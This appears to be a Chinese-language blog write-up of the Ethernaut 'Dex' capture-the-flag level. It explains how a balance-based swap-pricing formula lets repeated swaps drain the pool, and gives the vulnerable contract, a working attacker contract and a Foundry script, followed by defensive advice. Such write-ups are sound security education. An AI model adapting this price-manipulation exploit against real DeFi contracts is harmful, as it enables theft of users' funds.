【Ethernaut x Foundry】Level 22-Dex 答案解說

tanner.dev
12 min readApr 10, 2024

--

Figure 1: https://ethernaut.openzeppelin.com/level/22

越換越划算的去中心化交易所?!

看完這篇你會學到:

  1. 了解設計不良的 Dex 計價公式

題目

此次目標是成功耗盡 Dex 中的 token1 或 token2 之一的所有代幣即可通關。

Figure 2: Dex 題目

合約程式碼如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract Dex is Ownable {
address public token1;
address public token2;
constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

解說

此關卡是具有簡易版的代幣交換 (Swap) 功能的去中心化交易所 (Dex) 合約,也是第一個和 DeFi 應用相關的挑戰。

Player 的初始資金 token1 和 token2 各持有 10 個,而 Dex 的初始資金 token1 和 token2 各有 100 個,通關目標則是要將 Dex 合約中的 token1 或 token2 其中之一的代幣耗盡歸零。

先來看一下關卡合約,approve() 會一次授權 token1 和 token2 給第三方 spender 使用,若有需要呼叫一次即可。addLiquidity() 則是會對此 Dex 添加流動性,不過題目早已添加好 token 各 100 個,且此函式具有 onlyOwner modifier,所以可以直接忽略。

再來,最核心的功能是 swap(address from, address to, uint amount),它有三個參數,from 和 to 分別代表換入 Dex 的 token 和換出的 token 地址,amount 則是換入 token 的數量,並會透過 getSwapPrice() 計算應換出的 token 數量。

由此可知,計算價格的公式取決於 getSwapPrice() 函式,它的計價原理是透過現存於 Dex 中的 token 餘額決定換出 token 多寡,將公式白話翻譯即為:換出 token2 的數量 = (換入 token1 的數量 * token2 在 Dex 的餘額) / token1 在 Dex 的餘額

然而這個公式存在一個很大的問題,若是不斷去 swap 某一個持有的全部 token,幾次交換後將會放大 token 從 Dex 換出的數量,亦即 Player 每經過一次 swap 能取得的 token 數量越多,我們正是要利用這個設計不良的計價公式來耗盡 Dex 的池子。參考下方表格,共需要進行六次 swap,每次 swap 後的狀態如下:

/** 
* Step | DEX | Player
* | token1 - token2 | token1 - token2
* ---------------------------------------------
* Init | 100 100 | 10 10
* Swap 1 | 110 90 | 0 20
* Swap 2 | 86 110 | 24 0
* Swap 3 | 110 80 | 0 30
* Swap 4 | 69 110 | 41 0
* Swap 5 | 110 45 | 0 65
* Swap 6 | 0 90 | 110 20
*/

其中,要注意最後一次的 Swap 6,token2 數量僅需要 45,因為在經過 Swap 5 之後,Player 手上持有的 token2 數量已經超越了 Dex 池子所持有的 token2 數量,若強行換入超越 Dex 所持有的 token2 數量將發生 Dex 無法換出多於 110 個 token1 的錯誤 (transfer amount exceeds balance)。

另外,也要記得呼叫 approve() 去授權 Dex 使用攻擊合約的 token,攻擊合約如下:

// src/22-DexAttacker.sol

interface IDex {
function swap(address from, address to, uint amount) external;
function approve(address spender, uint amount) external;
function balanceOf(address token, address account) external view returns (uint);
function token1() external returns (address);
function token2() external returns (address);
}

interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}

contract DexAttacker {
address public challengeInstance;

constructor(address _challengeInstance) {
challengeInstance = _challengeInstance;
}

function attack() external {
(address token1, address token2) = (IDex(challengeInstance).token1(), IDex(challengeInstance).token2());
IERC20(token1).transferFrom(msg.sender, address(this), 10);
IERC20(token2).transferFrom(msg.sender, address(this), 10);
IDex(challengeInstance).approve(address(challengeInstance), type(uint).max);
IDex(challengeInstance).swap(token1, token2, IDex(challengeInstance).balanceOf(token1, address(this)));
IDex(challengeInstance).swap(token2, token1, IDex(challengeInstance).balanceOf(token2, address(this)));
IDex(challengeInstance).swap(token1, token2, IDex(challengeInstance).balanceOf(token1, address(this)));
IDex(challengeInstance).swap(token2, token1, IDex(challengeInstance).balanceOf(token2, address(this)));
IDex(challengeInstance).swap(token1, token2, IDex(challengeInstance).balanceOf(token1, address(this)));
IDex(challengeInstance).swap(token2, token1, 45);
}
}

Script 如下,注意創建方法使用的是 _createInstance()

// script/solutions/22-Dex.s.sol

contract DexSolution is Script, EthernautHelper {
...

function run() public {

vm.startBroadcast(heroPrivateKey);
// NOTE this is the address of your challenge contract
// NOTE make sure to change original function into "_createInstance()" for the correct challengeInstance address.
address challengeInstance = _createInstance(LEVEL_ADDRESS);

// YOUR SOLUTION HERE
DexAttacker dexAttacker = new DexAttacker(challengeInstance);
IDex(challengeInstance).approve(address(dexAttacker), type(uint).max);
dexAttacker.attack();

...
}
}

為避免設計出有問題的計價公式,有以下幾點安全建議:

  1. 避免池子流動性過低:價格容易隨代幣的流動性變化而有大幅波動。
  2. 避免使用瞬時價格計價:價格可能受到閃電貸 (Flashloan) 操縱而有大幅波動。
  3. 設定滑價 (Slippage) 範圍:當價格超過一定幅度波動則 revert 交易。

一些基本的檢查 (balance 與 amount 的檢查、交易對地址等等) 和重入鎖就不贅述,如果有興趣了解經典的 AMM 算法 x * y = k,未來我會獨立寫一篇介紹 UniswapV2 的 AMM,敬請期待!

參考連結

--

--

tanner.dev

Blockchain Dev | Smart Contract Security | Day 1 in CTF | HODL & BUIDL & BEHODL